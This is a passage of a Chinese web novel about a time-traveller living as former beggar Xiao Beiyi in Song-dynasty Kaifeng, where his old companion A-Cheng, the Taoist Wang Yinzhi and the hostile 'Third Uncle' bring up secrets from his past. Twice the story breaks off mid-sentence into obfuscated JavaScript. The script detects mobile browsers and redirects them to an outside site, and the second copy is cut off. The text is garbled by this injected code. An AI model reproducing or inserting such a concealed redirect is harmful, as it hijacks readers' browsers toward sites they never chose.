原主叫萧北翊,跟他穿越后的名字一模一样。这也许就是他的灵魂能附着在这具身体上的原因——同名同姓,冥冥中有某种联系。 五岁那年,全家被灭门,他躲在大鱼缸里逃过一劫。之后流落街头,被一个徐州的老乞丐收养,在那个老乞丐的带领下,一路从真定府流浪到了徐州,在那里混了十年。 那个老乞丐姓陈,人称陈布衣,是徐州一带丐帮的头目。此人虽然是个乞丐,但识文断字,能写会算,在当地乞丐圈子里很有威望。原主跟着他学了三年,识了字,算清了数,也学会了看人——陈布衣说过一句话,原主记了一辈子:“咱们乞丐,本事不在手上,在眼睛上。手上的本事是讨饭,眼睛上的本事是活命。” 这话原主当时不太懂,但萧北翊现在懂了。那不是讨饭的道理,是情报工作的道理——用眼睛观察世界,用脑子分析信息,这才是底层人往上爬的唯一途径。 后来陈布衣死了,临死前把原主叫到跟前,交代了一件事。 什么事? 萧北翊在记忆碎片里拼命搜索,但这一段非常模糊。只能隐约看见一个老人躺在床上,嘴唇翕动,像是在说什么重要的话,但声音听不清。画面到这里就断了,像是被人刻意抹去了一样。 再后来,原主带着一个叫阿诚的小兄弟,从徐州来到了东京城。阿诚比他小四岁,是个孤儿,原主把他当亲弟弟一样养着。两人在徐州时就跟在原主屁股后面转,到了东京城,更是寸步不离。 但在原主的记忆里,阿诚只出现了一次——就是刚才梦里的那一段。之后的记忆就没有了。没有阿诚的下落,没有他来东京城的任务,什么都没有。 像是有人用橡皮擦掉了一段,只留下一些模糊的痕迹。 萧北翊睁开眼睛,看着头顶的房梁。 “陈布衣。阿诚。徐州。” 他低声念着这几个词,像是念咒语一样。 看来,他得把原主的过去查清楚了。不是为了好奇,而是因为——那些过去,迟早会找上门来。 没想到,找上门来的速度,比他预想的快得多。 那是中秋节前的一个傍晚,萧北翊在火锅店里算账,店里客人不多,只有两三桌。阿九在柜台后面打盹,赵大锤在后厨切肉,一切都跟平常一样。 门被推开了。 萧北翊抬头看了一眼,又低下头继续算账。进来的是一个二十出头的年轻人,穿着一件半旧的青布袍子,皮肤黝黑,手脚粗大,看起来像个做苦力的。他在门口站了一会儿,四处张望了一下,然后径直走向柜台。 “老板,”他的声音有点哑,像是嗓子受过伤,“你们这儿,是不是有一个叫萧北翊的人?” 萧北翊手里毛笔一顿,墨汁滴在账册上,洇开一朵黑色的花。 他抬起头,看着那人的脸。 那是一张陌生的脸。但那双眼睛——那双眼睛里有某种东西,让萧北翊的心跳突然加快。 “你找他干什么?”萧北翊不动声色地问。 “我……”年轻人的嘴唇哆嗦了一下,眼眶突然红了,“我是他兄弟。我找了他两年了。” 萧北翊盯着他看了好一会儿,然后站起来,绕过柜台,走到门口,把门关上,把“营业中”的牌子翻成了“打烊”。 “阿九,”他说,“去后厨跟大锤说,今天早点收工。你们先回去。” 阿九看了看那个年轻人,又看了看萧北翊,没问为什么,点了点头,去后厨叫赵大锤。两人从后门走了,走的时候阿九回头看了萧北翊一眼,眼神里带着一丝担忧。 店里只剩下萧北翊和那个年轻人。 “坐。”萧北翊指了指靠窗的位置,自己去倒了两杯茶,端过来,在他对面坐下。 年轻人没有坐,而是站在那里,盯着萧北翊的脸看了又看。 “你……你真是北哥?”他的声音在发抖。 萧北翊喝了一口茶,放下杯子,看着他的眼睛。 “我是萧北翊。你是谁?” 年轻人突然跪了下来,膝盖磕在地上,发出一声闷响。 “北哥!我是阿诚啊!你不认识我了?” 阿诚。 萧北翊的手微微收紧,但脸上没有任何表情。 “阿诚,”他重复了一遍这个名字,像是在品味它的味道,“你怎么找到这里的?” 阿诚跪在地上,仰着头看着他,眼泪已经流下来了。 “北哥,我找了你两年。两年前你突然不见了,我在东京城找了整整一年,没找到。后来我回了徐州,想着你可能回去了,也没有。我……”他擦了擦眼泪,“我差点以为你死了。” 萧北翊沉默了一会儿,伸手把他扶起来。 “起来说话。” 阿诚站起来,坐在他对面,但屁股只沾了椅子边,身体前倾,像是怕他又跑了似的。 “北哥,你到底怎么了?你以前不是这样的。”阿诚看着他,眼神里有不解,也有恐惧,“你以前……你不是这样的。你不穿这种衣裳,你不坐在这种店里,你不在账册上写字。你到底经历了什么?” 萧北翊心里一紧。 阿诚说的是实话。原主萧北翊,一个乞丐,不会开火锅店,不会用复式记账法,不会组建情报网络。他做的这些事,跟原主完全是两个人。 “阿诚,”萧北翊斟酌着词句,“这两年发生了很多事。我不方便跟你细说。你只需要知道一件事——我还是萧北翊,但我不再是以前的那个萧北翊了。” 阿诚听不懂这句话,但他点了点头。 “北哥,你说话跟以前不一样了。” “人总会变的。” “可是……”阿诚欲言又止,最后还是忍不住问了,“北哥,你以前来东京城,是为了陈爷爷交代的那件事。那件事,你办了吗?” 陈爷爷。 陈布衣。 萧北翊的心跳又加快了。这正是他记忆碎片里缺失的那一块。 “陈爷爷交代的那件事,”萧北翊试探着说,“你记得多少?” 阿诚愣了一下:“北哥,你忘了?是你告诉我的啊。陈爷爷临死前把你叫到跟前,跟你说了一件事,让你来东京城办。你没跟我说具体是什么事,只说要来东京城找一个叫王什么的人。” “王什么?” “王……王……”阿诚皱着眉头想了半天,“王……隐?好像是叫王隐什么。你说那人是个道士,在太乙宫当差。找到他,就能找到陈爷爷要你找的东西。” 王隐之。 萧北翊的手指在桌下微微颤抖。 原主来东京城的任务,是找一个叫王隐之的道士。而王隐之,恰恰是他穿越后遇到的第一个人——不是因为巧合,是因为原主本来就是要来找他的。 这一切,不是偶然。 “北哥,”阿诚小心翼翼地问,“你找到那个王道士了吗?陈爷爷让你找的东西,找到了吗?” 萧北翊深吸一口气,没有回答。 “阿诚,你先告诉我,陈爷爷让你来东京城找我,是为了什么?” 阿诚挠了挠头:“陈爷爷没让我找你啊。是我自己找你的。你走了之后,我在徐州待了一年,实在待不住了,就出来找你了。” “你没有跟其他人一起来?” “没有。就我一个。” 萧北翊沉默了。 他在衡量阿诚的话是真是假。一个在原主记忆里出现过的少年,一个自称“兄弟”的人,突然出现在他的火锅店里——这太巧了。巧得让人不得不怀疑。 但他看着阿诚的眼睛。那双眼睛里有泪水,有欢喜,有委屈,有无数种复杂的情感在翻涌。那不是能装出来的。 “阿诚,”萧北翊说,“陈爷爷让我找的东西,还没找到。但我找到王道长了。” 阿诚的眼睛亮了:“真的?” “真的。”萧北翊站起来,“你今晚住哪儿?” “我……我刚到东京城,还没找地方住。” “今晚住我那里。”萧北翊拿起柜台上的钥匙,“走,先吃饭。” 萧北翊把阿诚带回了葫芦巷的院子。 他让赵大锤去隔壁巷子买了几样熟食,又让钱串子去打了壶酒,几个人坐在院子里的石桌旁,算是给阿诚接风。 阿诚吃得狼吞虎咽,像是好几天没吃过饱饭。赵大锤看着他吃,眼神复杂——这个画面,几个月前也发生过,只不过那时候狼吞虎咽的人是萧北翊。 “北哥,”阿诚嘴里塞满了肉,含混不清地说,“你过上好日子了。这院子,这火锅店,这些兄弟……你真厉害。” 萧北翊没接话,端起酒杯喝了一口。 “阿诚,陈爷爷的事,你从头到尾跟我说一遍。” 阿诚咽下嘴里的肉,擦了擦嘴,脸上的表情变得认真起来。 “陈爷爷死的那天,你在跟前,我在门外。你们说什么我没听见,但陈爷爷死之后,你出来的时候眼睛红红的,我问你怎么了,你不说。过了几天,你说你要去东京城办事,让我在徐州等你。我问你办什么事,你说不让我知道是为了我好。” “然后呢?” “然后你就走了。我等了一个月,你没回来。等了半年,你还是没回来。我就出来找你了。” “你从哪里开始找的?” “先从徐州周边找起,没找到。后来听说有人在东京城见过一个跟你很像的乞丐,我就来了东京城。我找了一年,把东京城翻了个遍,没找到你。我差点以为你死了,回徐州了。可是……”阿诚的声音低了下去,“可是我不甘心。” 萧北翊沉默了一会儿:“你在东京城找了一年,没找到我?” “没有。”阿诚摇头,“你以前是个乞丐,穿的破破烂烂的,在街上讨饭。你现在穿得干干净净的,还开了店,坐在店里算账——我跟你说实话,我刚才进店的时候,第一眼压根没认出来你。我是听到别人喊你‘萧哥’,我才多看了几眼。” 萧北翊心里暗暗庆幸。 如果不是阿诚听到了“萧哥”这个称呼,他可能永远不会发现萧北翊。这意味着,原主过去的人际关系,跟赤羽现在的网络没有任何交集。这是一件好事——说明他的过去和现在,是两条平行线。 但也意味着另一件事——他现在的生活越成功,原主过去认识他的人就越难找到他。除非,他们像阿诚一样,碰巧听到了“萧”这个姓。 “北哥,”阿诚忽然问,“你还记得三叔吗?” 萧北翊心里一紧。又一个名字。 “三叔怎么了?” “三叔说他要来东京城找你。我走的时候,他还在徐州,但我不知道他现在还在不在。” “三叔是谁?”萧北翊假装不经意地问。 阿诚愣了一下,然后用一种奇怪的眼神看着他。 “北哥,你怎么连三叔都不记得了?三叔是陈爷爷的拜把子兄弟啊。当年在徐州,是陈爷爷把你带回来的,三叔一直不太喜欢你。你走了之后,三叔说你是忘恩负义的小人,拿了陈爷爷的东西跑了。” 萧北翊的眉头皱了起来。 “我拿陈爷爷什么东西了?” “我不知道。三叔这么说,但我不信。”阿诚的语气很坚定,“北哥你不是那种人。” 萧北翊没有再问。他给阿诚安排了住处,让他早点休息。 关上门的瞬间,他的脸色沉了下来。 第二天一早,萧北翊把阿九叫到院子里,关上门,把昨晚的事简单说了一遍。 他没有隐瞒——阿九是他最信任的人之一,赤羽的事她全知道,原主的事她也有权知道。 “萧哥,”阿九听完,皱着眉说,“这个阿诚,你打算怎么办?” “先留下来。观察一段时间。” “你不信任他?” “不是不信任。”萧北翊说,“是必须小心。我现在不是一个人,赤羽二十几号人,不能因为我的过去出纰漏。” 阿九点了点头:“那个三叔呢?如果他也来了东京城,怎么办?” 萧北翊沉默了。 三叔——这个在原主的记忆碎片里几乎没出现过的人,突然成了一个潜在的危险。一个不太喜欢原主的人,一个认为原主“拿了东西跑了”的人,如果来到东京城,看到现在的萧北翊,会做什么? “帮我查。”萧北翊说,“查徐州那边过来的乞丐,有没有一个叫‘三叔’的人。年纪大概五六十岁,有可能是陈布衣的拜把子兄弟。不要惊动任何人,只要确认他有没有来东京城就行。” “如果找到了呢?” “找到了再说。” 阿九走后,萧北翊一个人站在院子里,看着头顶的天空。 事情比他想的要复杂。原主的过去,不是一段可以随意丢弃的旧衣裳,而是一条随时可能浮出水面的暗线。陈布衣、阿诚、三叔、还有那个未完成的任务——这些东西,像是一颗颗埋在暗处的地雷,不知道什么时候就会炸。 但萧北翊不后悔接手这些麻烦。 因为他知道,原主的过去,也是他的过去。他占了这具身体,就要承担这具身体带来的一切——好的,坏的,干净的,肮脏的,一并收下。 院子里忽然传来脚步声。 萧北翊转过头,看见南晚枫从院门口走进来。她今天穿了一件深灰色的短打,腰间系着一条黑色的布带,头发扎成一个利落的马尾,手里提着一把油纸伞。 “南姑娘?”萧北翊有些意外,“你怎么来了?” 南晚枫看了他一眼,走到石桌旁坐下。 “昨晚你店里来了一个人。年轻人,穿青布袍子,不是你手下的人。”她的语气很平淡,像是在说今天的天气,“他是谁?” 萧北翊心里咯噔了一下。南晚枫怎么知道的?她在监视他的店? “一个老朋友。”萧北翊说,“从徐州来的。” “徐州?”南晚枫的眉头微微皱了一下,“你在徐州有朋友?” “我以前在徐州待过。” 南晚枫盯着他看了一会儿,似乎在判断这话的真假。 “萧子翼,”她说,“你这个人,身上的秘密太多了。” 萧北翊笑了笑:“谁身上没有秘密?” “我的意思是,”南晚枫站起来,把油纸伞放在石桌上,“你最好小心一点。那个年轻人来东京城找你,背后未必没有人指使。” “你是说——” “我什么都没说。”南晚枫打断他,“我只是提醒你。” 她转身走了,步伐不快不慢,像一只悄无声息的猫。 萧北翊站在原地,看着她的背影消失在巷口。 她在提醒他。她在保护他。还是——她在替别人监视他? 不管哪一种,萧北翊知道一件事——从现在起,他必须更加小心了。 当天晚上,萧北翊把阿诚叫到北屋,关上门,点了一盏灯。 “阿诚,”他说,“有些事,我必须问你。你老实回答。” 阿诚点了点头。 “第一,陈爷爷临死前交代我的事,你知不知道具体是什么?” 阿诚摇头:“不知道。你不说,陈爷爷也不让我听。” “第二,你出来找我这件事,还有谁知道?” 阿诚想了想:“我在徐州的几个兄弟知道。他们知道我要来东京城找你,但不知道具体什么时候走。” “这几个兄弟,可靠吗?” 阿诚犹豫了一下,然后摇头。 “有一个人,不太可靠。他叫王猴子,以前是三叔那边的人。我走的时候,他问我去哪儿,我说去找你。” 萧北翊的眉头皱了起来。 “王猴子跟三叔关系近吗?” “近。王猴子是三叔的干儿子。” 萧北翊深吸一口气。 三叔的干儿子知道了阿诚来东京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650298|206859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找萧北翊。如果三叔真的对原主有敌意,那么——王猴子可能已经把这个消息传回去了。 “北哥,”阿诚看着他的脸色,声音有些发颤,“我是不是做错了什么?” 萧北翊看着他,沉默了一会儿,然后伸手拍了拍他的肩膀。 “没有。你什么都没做错。” 他站起来,走到窗前,看着窗外的月亮。 “阿诚,从今天起,你就留在赤羽。跟着刘二干活,学本事。” “赤羽?”阿诚愣了,“什么是赤羽?” 萧北翊回过头,嘴角微微上扬。 “以后你就知道了。” 阿诚的事暂时安顿了下来,但萧北翊心里清楚,这只是个开始。 原主的过去,像一条被冰封的河。现在,冰开始融化了。 陈布衣交代的任务是什么?陈布衣让原主找王隐之,到底是为了什么?王隐之知道这件事吗?他收留萧北翊,是不是因为这个? 还有三叔。这个在原主记忆中几乎不存在的人,为什么会突然冒出来?他跟陈布衣是什么关系?他跟原主之间,到底有什么恩怨? 这些问题,萧北翊现在都没有答案。 但他知道该从哪里开始查。 第二天一早,萧北翊去了太乙宫,找王隐之。 太乙宫在城东,是一座不大不小的道观,香火不算旺,但因为在王钦若的地盘上,进进出出的都不是一般人。 萧北翊到的时候,王隐之正在后院的菜地里浇水。老道士穿着一件打着补丁的道袍,裤腿卷到膝盖,脚上踩着一双草鞋,活像一个种地的老农。 “子翼?”王隐之看见他,有些意外,“你怎么来了?” 萧北翊没急着回答,而是找了块石头坐下来,看着王隐之浇水。 “道长,我想问你一件事。” “说。” “你认识一个叫陈布衣的人吗?” 王隐之手里的水瓢停了一下,然后继续浇水。 “陈布衣?不认识。” “真的不认识?” 王隐之放下水瓢,在衣摆上擦了擦手,走到萧北翊对面,在一块石头上坐下来。 “子翼,你今天来,不是来跟我聊天的。你是来问事的。” “对。” “什么事?” 萧北翊看着王隐之的眼睛。 “道长,你第一次见到我的时候,是在茶摊旁边。我在地上写圆周率,你注意到了。你是偶然路过,还是——有人在等你?” 王隐之的瞳孔微微缩了一下。 这个细节,萧北翊注意到了。 “你在说什么?”王隐之的语气很平静,但平静得有些刻意,“贫道只是路过,看你一个乞丐在地上写字,觉得有趣,就停下来看了。” “有趣?”萧北翊笑了,“道长,你一个研究天文历算的学者,在街上看见一个乞丐写出圆周率小数点后二十位,你只是觉得‘有趣’?” 王隐之不说话了。 “你收留我,教我算学,让我住在你家。这些事,是因为你善良,还是因为——你知道我会来?” 王隐之沉默了很久。 院子里的竹丛被风吹得沙沙响,像是在替他说什么。 “子翼,”王隐之终于开口,声音比平时低了几分,“有些事,贫道现在不能告诉你。不是因为不想说,是因为——时候未到。” “什么时候才到?” “等你自己找到答案的时候。” 萧北翊看着他,他也看着萧北翊。两人对视了足足十秒钟,谁也没有让步。 “好,”萧北翊站起来,“道长不说,我不勉强。但我还有最后一个问题。” “问。” “你认识陈布衣吗?” 王隐之闭上眼睛,像是在做一个艰难的决定。 “认识。” 萧北翊的心跳猛地加速了。 “他让你来东京城找我?” 王隐之睁开眼睛,看着萧北翊,目光中带着一种说不清道不明的东西。 “是。” 萧北翊深吸一口气,又问:“他让你找的那个人,是我?” 王隐之没有回答。 但他没有否认。 萧北翊站在原地,看着王隐之那张皱纹纵横的脸,心里涌起一股复杂的情绪。 从第一天起,王隐之就知道他是谁。不是巧合,不是偶然,而是一个——安排。 “道长,”萧北翊的声音有些涩,“陈布衣让你找的那个人,是萧家的后人。还是——另一个人?” 王隐之站起来,拍了拍袍子上的灰,拿起水瓢,继续浇水。 “子翼,”他头也不回地说,“有些答案,不是贫道能给的。你自己去找吧。” 萧北翊站在太乙宫的后院里,看着王隐之佝偻的背影,在菜地里一瓢一瓢地浇水。 秋天的阳光照在老道士身上,把他的影子拉得很长。 萧北翊站了一会儿,然后转身走了。 走到院门口的时候,他停下脚步,回头看了一眼。 王隐之还在浇水。 萧北翊深吸一口气,迈步走了出去。 回到葫芦巷,萧北翊把阿九叫到北屋,关上门。 “阿九,帮我查一个人。徐州那边的乞丐,姓陈,叫陈布衣。几年前死的。死之前是徐州丐帮的头目。” 阿九点头,拿起纸笔记下。 “还有,”萧北翊说,“查一下徐州那边一个叫‘三叔’的人,可能是陈布衣的拜把子兄弟。” “萧哥,”阿九看着他的眼神有些担忧,“你是不是遇到麻烦了?” 萧北翊沉默了一会儿,然后笑了。 “麻烦?我一直都在麻烦里。不差这一个。” 阿九没再问,拿着纸条出去了。 萧北翊一个人坐在北屋里,拿出那张“人脉图”,在陈布衣的名字上画了一个圈。 然后他又在王隐之的名字上画了一条线,连到陈布衣的名字上。 两个人,一条线。 陈布衣认识王隐之。王隐之认识陈布衣。 而陈布衣,是收养原主的人。王隐之,是收留萧北翊的人。 这两个人之间,一定有什么他不知道的联系。 萧北翊把笔放下,靠在椅背上,看着头顶的房梁。 原主的过去,比他想像的要复杂得多。 但没关系。他有赤羽,有脑子,有时间。 慢慢查。 当天夜里,萧北翊又做了一个梦。 梦里,他还是那个瘦骨嶙峋的少年乞丐,蹲在徐州城外的一座破庙里。旁边坐着一个老人,穿着一件洗得发白的青布袍子,手里拿着一根旱烟杆,正吧嗒吧嗒地抽着。 “爷爷,”少年乞丐说,“你真的认识东京城里的道士?” 老人吐出一口烟圈,眯着眼睛看着远处。 “认识。年轻的时候认识的。那道士姓王,是个好人。” “他能帮我们?” “不是帮我们,”老人说,“是帮他应该帮的人。” 少年乞丐听不懂,但也没再问。 老人把旱烟杆在石阶上磕了磕,站起来,拍了拍少年的肩膀。 “北啊,爷爷活不了多久了。爷爷这辈子没儿没女,就你这么一个徒弟。爷爷欠别人的,得还。你替爷爷还。” “还什么?” 老人没有回答,转身走进了破庙的黑暗中。 萧北翊猛地睁开眼睛。 北屋里一片漆黑,只有窗外透进来的月光,在地上画出一个模糊的亮斑。 他坐起来,靠在床头,心脏砰砰地跳。 陈布衣欠别人的“得还”。让他替他还。 还什么?欠谁的? 萧北翊在黑暗中睁着眼睛,把梦里的每一个细节反复咀嚼。 王隐之。陈布衣认识王隐之。他说“那道士姓王,是个好人”——这个姓王的道士,就是王隐之。 所以,陈布衣让原主来东京城找王隐之,是为了“还债”。还什么债?是陈布衣欠王隐之的债,还是别人欠的? 萧北翊想到了一个可能——萧家的灭门案。 二十年前,萧家满门被灭,只有五岁的原主逃了出来。陈布衣在徐州收养了他,教他识字算数,教他看人察言观色。临死前,让他来东京城找王隐之。 王隐之,一个在太乙宫当差的学者型道士,跟二十年前的灭门案有什么关系? 萧北翊不知道。 但他知道一件事——这条线索,必须查下去。不是为了原主,是为了他自己。因为萧家的仇,也是他的仇。灭门的真相,关系到他在这世上唯一的身份。 萧北翊重新躺下来,闭上眼睛。 窗外,月亮躲进了云层里。 他的心跳慢慢平复下来,呼吸变得均匀。 明天,还有很多事要做。 原主的过去、赤羽的未来、赵衍的棋局、南晚枫的谜团、阿诚的突然出现、三叔的潜在威胁——这些东西像一堆乱麻,缠在一起,等着他去解开。 但萧北翊不急。他有的是耐心。 因为他知道,在这个世界上,最强大的武器不是刀剑,不是权势,而是一个冷静的头脑。 而这一点,他比任何人都强。 9. 第九章 三叔来了,萧哥笑了 阿诚在赤羽安顿下来之后,日子过得比在徐州时好了不知道多少倍。 每天有白面馒头吃,隔三差五还能吃上肉。萧北翊给他安排跟着刘二学规矩,刘二对这个“萧哥的兄弟”很照顾,但也严格——每天早上卯时起床,先绕着葫芦巷跑五圈,然后学认字、学记路、学分辨人的身份。阿诚脑子不笨,学得快,半个月就能写出自己的名字了。 萧北翊看着阿诚的进步,心里挺满意。但他心里也清楚,阿诚来了,意味着原主的过去就没办法再假装不存在了。 阿诚来的第三天,萧北翊就找机会旁敲侧击地问他,当初在徐州时,陈布衣有没有跟他说过什么特别的话。 阿诚想了想:“陈爷爷说你命苦,让你以后多吃点好的。” “……就这些?” “还有,”阿诚挠挠头,“陈爷爷说你在东京城有个远房亲戚,让你去找。我问他是谁,他说等你去了就知道了。” 远房亲戚。萧北翊心里一动。陈布衣说的,会不会是王隐之? 他试探着问:“那个亲戚,姓什么?在哪儿?” 阿诚摇头:“不知道。陈爷爷没说。” 萧北翊没再问。但他心里已经有了数——陈布衣让原主来东京城,名义上是找“远房亲戚”,实际上是来找王隐之拿那本《孙子兵法》。至于为什么不说真话,大概是因为当时阿诚还小,嘴不严,怕走漏了风声。 但现在有个新问题:那个三叔,到底知不知道这件事? 萧北翊让阿九去查,阿九的效率很高,不到十天就有了回音。 “萧哥,三叔确实来了东京城。”阿九站在葫芦巷的院子里,手里捏着一张纸条,“徐州的线人三天前在城东的‘悦来客栈’见过他,跟他一起的是王猴子。两人住在一个房间,深居简出,只在傍晚出门一次,去附近的小饭馆吃饭。” “有没有跟别人接触过?” “暂时没有发现。但我让人继续盯着了。” 萧北翊点了点头。一个老乞丐带着干儿子,从徐州跑到东京城,住进客栈,深居简出——这不是来旅游的。也不是来找人帮忙的——如果是要投靠谁,早就找上门了。更像是,在等什么。 等什么?等他萧北翊自己出现?还是等某个时机? “萧哥,要不要主动去找他们?”阿九问。 萧北翊想了想,摇头:“不去。敌不动,我不动。他既然住在客栈,那就让他住着。咱们该干嘛干嘛。” “可是他要是到处打听你——” “打听就打听。东京城这么大,叫萧北翊的不只我一个。他打听多久是他的事。”萧北翊笑了笑,“再说了,他要是真能找到我,说明他还有几分本事。到时候再见也不迟。” 阿九看了他一眼,嘴角微微上扬:“萧哥,你这叫不叫‘稳坐钓鱼台’?” “这叫‘该吃吃该喝喝,遇事别往心里搁’。” 三叔的事暂时搁在一边,萧北翊把精力放回了火锅店和赤羽的消息网络。 火锅店的生意越来越好,好到隔壁老孙头每天早上搬豆腐脑摊子的时候,都会故意把桌子往萧北翊那边多挪一寸。萧北翊也不恼,反而主动提出让老孙头在火锅店门口搞个“早餐联营”——客人买一碗豆腐脑,凭票可在火锅店享受九折优惠。 老孙头听完,愣了半晌:“这叫啥?” “这叫互相帮衬。”萧北翊笑眯眯地说,“孙叔,您想啊,您的客人来吃豆腐脑,顺便知道了我这儿有火锅。我店里的客人想吃早餐,顺便知道了您这儿的豆腐脑。咱们谁也不吃亏,生意都变好了。” 老孙头掰着手指头算了半天,最后还是点了头。结果一周下来,他的豆腐脑销量翻了一倍。老孙头乐得合不拢嘴,逢人就说“萧子翼这小子,鬼精鬼精的”。 赵大锤对此的评价是:“萧哥,你把人家卖了,人家还帮你数钱。” 萧北翊白了他一眼:“这叫双赢,懂不懂?” 赤羽的消息网络也在有条不紊地扩张。 萧北翊把东京城又细分了一次,从原来的三十多个小片区,扩展到了五十多个。每个小片区都有专人负责,每条街道、每个巷子、每个集市都有赤羽的眼睛和耳朵。消息从最底层一层一层地汇总上来,经过筛选、分级、整理,最后呈现在萧北翊面前时,已经是一份清晰明了的情报简报。 这套体系脱胎于现代情报工作的“网格化管理”,但在北宋,这叫“萧子翼的规矩”。刘二说他在边军都没见过这么严密的体系,钱串子说这比他在钱庄看到的账目管理还精细,孙驼子只说了四个字:“后生可畏。” 萧北翊每天都花半个时辰看简报。不是因为他勤快,而是因为他发现了一个规律——东京城的大小事,看似杂乱无章,但只要把信息积累到一定程度,就能从中看出趋势。 比如,城东的“永丰粮铺”连续十天大量收购粮食,价格比市价高一成。单独看这条信息,只能说明有人在囤粮。但结合城南的“益粮行”也在收粮、城北的“顺和粮栈”也在收粮,而且背后的买家都是同一个神秘东家,那就不是简单的囤粮了——是有大户在提前布局。 萧北翊在那个神秘东家的名字旁边打了个问号,让阿九继续追查。 又比如,城西的“孙家瓦舍”新来的管事马都头,虽然是禁军退役,但他的前任上司是丁谓的一个门客。这条信息让萧北翊的眉毛挑了一下——丁谓,朝中另一个权臣,跟王钦若既是一党又互相提防。孙七爷跟程家有联系,现在又挖来一个跟丁谓有关系的人管事,这里面的关系网,比蜘蛛网还复杂。 萧北翊把这些信息一一记在脑子里,像拼图一样,一块一块地拼。虽然现在还看不出全貌,但他知道,总有一天,这些碎片会拼出一张完整的图。 九月下旬的一天傍晚,萧北翊正在火锅店的柜台前算账,阿九从外面走进来,在他耳边低语了几句。 三叔来了。 萧北翊手里的毛笔顿了一下,然后继续写。 “几个人?” “就他一个。王猴子没来。他在巷口站了一会儿,看着咱们的招牌,然后走了。” “走了?没进来?” “没进来。” 萧北翊放下笔,想了想。三叔找到他的店了。说明他已经打听过了,知道南北火锅是萧子翼开的。但他没有直接进来,说明他在犹豫——或者,在等萧北翊主动去找他。 “萧哥,要不要——” “不。”萧北翊打断她,“跟他说,让他进来坐。不是我出去找他,是他来找我。” 阿九愣了一下:“让谁说?” “让巷口那个卖糖葫芦的老头。他不是咱们的人,但三叔不认识他。让老头传个话,就说‘火锅店的老板请你进去坐坐’。” 阿九点了点头,转身出去了。 萧北翊继续算账,脸上看不出任何表情。 过了大约一盏茶的工夫,店门被推开了。 进来的是一个六十来岁的老人,穿着一件洗得发白的青布直裰,头发花白,脸上的皱纹像是被刀刻出来的,一双眼睛不大,但很亮,亮得不像一个乞丐。 三叔。 萧北翊没有起身,而是抬头看了他一眼,然后指了指对面的椅子:“坐。” 三叔站在那里,盯着萧北翊看了好一会儿,然后慢慢走过来,坐下了。 两人对视了几秒。萧北翊先开口:“三叔,好久不见。” 三叔的嘴角抽动了一下,声音沙哑得像砂纸磨铁:“你倒是过上好日子了。火锅店、手下、还有这身衣裳——北,你还记得你是谁吗?” 萧北翊端起茶杯,喝了一口,不紧不慢地说:“记得。萧北翊,徐州陈布衣的徒弟,来东京城讨生活的。” “就这些?” “三叔觉得还应该有什么?” 三叔盯着他的眼睛,似乎在判断他说的是真是假。 “陈大哥的东西,你拿走了。”三叔的声音低了下去,“那些东西,不属于你一个人。” 萧北翊心里明白了。三叔找上门来,不是为了叙旧,不是为了兴师问罪,而是为了陈布衣留下的“东西”。但问题是,陈布衣到底留下了什么? “三叔,”萧北翊放下茶杯,“陈爷爷留给我的东西,是一本书。除此之外,什么都没有。” “一本书?”三叔冷笑了一声,“一本什么书?” “《孙子兵法》。我父亲留给我的遗物。” 三叔的脸色变了一下,但很快恢复了正常。 “你父亲?你父亲是谁?” 萧北翊看着他,嘴角微微上扬。三叔问这句话的时候,眼神闪烁了一下——他在说谎。他知道萧北翊的父亲是谁。 “三叔,咱们明人不说暗话。”萧北翊站起来,绕过柜台,走到三叔身边,俯下身,在他耳边低声说,“你知道我是谁,我也知道你知道。陈爷爷让你来东京城找我,不是为了那本书——那本书本来就是我的。你来找我,是为了别的。” 三叔的身体僵硬了一下。 萧北翊直起身,拍了拍他的肩膀,笑着说:“三叔,不急。先吃顿饭,喝完酒,慢慢聊。” 他转身朝后厨喊了一声:“大锤,上一桌火锅!鸳鸯锅,多加肉!” 那顿饭吃了一个时辰。 三叔不怎么说话,但火锅倒是没少吃。麻辣锅涮羊肉,配上酸梅汤,老人家吃得满头大汗,脸上的皱纹都舒展开了。 萧北翊也不急着问,就是一边吃一边聊些有的没的——徐州的天气,徐州的熟人,阿诚在赤羽的情况。三叔有一搭没一搭地应着,但吃的速度一点没慢。 等桌上的菜吃得差不多了,萧北翊又上了一壶酒。 “三叔,”萧北翊给三叔倒了一杯酒,“咱们说正事。” 三叔端起酒杯,一饮而尽,然后把杯子重重地放在桌上。 “北,你是不是觉得三叔是来找你要东西的?” “难道不是?” “是,也不是。”三叔抹了抹嘴,浑浊的眼睛看着萧北翊,“陈大哥临终前,把你叫进去,说了什么,我没听见。但我猜得到。” “您猜到了什么?” “他让你来东京城,找一个人。找到那个人,你就知道自己的身世。”三叔的声音低沉而缓慢,“那个人,你已经找到了。对不对?” 萧北翊没有回答。 三叔也不需要他回答。老人站起来,走到窗前,背对着萧北翊。 “北,三叔今天来,不是为了跟你争东西。陈大哥的东西,他想给谁就给谁,三叔没资格说三道四。三叔来,是想告诉你一件事。” “什么事?” “当年你被陈大哥从街上捡回来的时候,身上有一块玉佩。陈大哥把那块玉佩收起来了,说要等你成年再还给你。他死之前,有没有把玉佩给你?” 萧北翊愣了一下。玉佩?他搜遍了原主的记忆,没有任何关于玉佩的印象。 “没有。” 三叔转过身,看着他,眼神复杂。 “那就对了。那块玉佩,不在陈大哥手里。在你来东京城之前,陈大哥把它交给了另外一个人。” “谁?” “我不能说。”三叔摇头,“那个人说了,等你长成了,能独当一面了,自然会来找你。” 萧北翊沉默了。这跟父亲信上说的“待你成年,自有人告诉你真相”如出一辙。 “三叔,您今天来,就是为了告诉我这些?” “不然呢?”三叔哼了一声,“我一个快入土的老头子,难道还要跟你抢地盘不成?” 萧北翊笑了。这个三叔,虽然嘴上不饶人,但骨子里不坏。他来东京城,不是来找麻烦的,而是来提醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 